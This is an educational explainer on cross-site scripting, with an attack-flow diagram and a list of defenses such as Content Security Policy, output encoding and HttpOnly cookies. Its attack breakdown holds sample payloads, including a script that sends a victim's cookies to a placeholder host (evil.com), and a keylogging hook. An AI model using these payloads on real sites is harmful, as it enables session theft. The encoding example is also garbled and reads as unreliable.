⚡ Cross-Site Scripting (XSS) Attack Flow
Injecting Malicious Scripts into Web Pages
flowchart TD
A[👤 Attacker] -->|1. Inject malicious script| B[🌐 Vulnerable Web App]
B -->|2. Store/Reflect payload| C[(💾 Database/DOM)]
C -->|3. Serve to victim| D[👥 Victim Browser]
D -->|4. Execute malicious script| E[🔓 JavaScript Execution]
E -->|5. Steal cookies/tokens| F[🍪 Session Hijacking]
E -->|6. Keylogging| G[⌨️ Credential Theft]
E -->|7. Redirect to phishing| H[🎣 Phishing Attack]
F -->|8. Send to attacker| A
G -->|9. Send to attacker| A
style A fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style B fill:#ffd43b,stroke:#f59e0b,stroke-width:2px,color:#000
style C fill:#74c0fc,stroke:#f59e0b,stroke-width:2px,color:#000
style D fill:#a855f7,stroke:#f59e0b,stroke-width:2px,color:#fff
style E fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style F fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style G fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
style H fill:#ff6b6b,stroke:#f59e0b,stroke-width:2px,color:#fff
I[🔒 Defense:
Content Security Policy] -.->|Block inline scripts| E
J[🛡️ Defense:
Input Validation] -.->|Sanitize input| B
K[⚙️ Defense:
Output Encoding] -.->|Escape HTML| C
style I fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style J fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
style K fill:#f59e0b,stroke:#00cc33,stroke-width:2px,color:#000
📋 Attack Flow Breakdown
1
Payload Injection (Stored XSS): Attacker submits malicious script to the application.
<script>fetch('https://evil.com?c='+document.cookie)</script>
2
Payload Injection (Reflected XSS): Malicious script in URL parameters.
https://victim.com/search?q=<script>alert('XSS')</script>
3
Payload Injection (DOM XSS): Client-side JavaScript processes untrusted data.
document.write(location.hash.substring(1))
4
Script Execution: Victim's browser executes the injected JavaScript in the context of the vulnerable site.
5
Session Hijacking: Attacker steals session cookies or tokens.
document.cookie // HTTPOnly flag NOT set
6
Credential Harvesting: Inject fake login forms or keyloggers.
document.addEventListener('keypress', captureKeys)
7
Defacement/Redirection: Modify page content or redirect to malicious sites.
🛡️ Defense Mechanisms
✅ Content Security Policy (CSP):
Restrict sources of executable scripts and prevent inline JavaScript.
Content-Security-Policy: default-src 'self'; script-src 'self'
✅ Input Validation:
Validate and sanitize all user input on the server side.
Reject: < > " ' & / ( ) <script> javascript:
✅ Output Encoding:
HTML-encode all user-generated content before rendering.
< becomes < > becomes >
✅ HTTPOnly & Secure Flags:
Protect cookies from JavaScript access and require HTTPS.
Set-Cookie: session=abc; HttpOnly; Secure; SameSite=Strict
✅ Use Secure Frameworks:
Modern frameworks like React, Vue, Angular auto-escape content.
Be careful with dangerouslySetInnerHTML or v-html!
✅ Template Security:
Use auto-escaping template engines (Jinja2, Handlebars).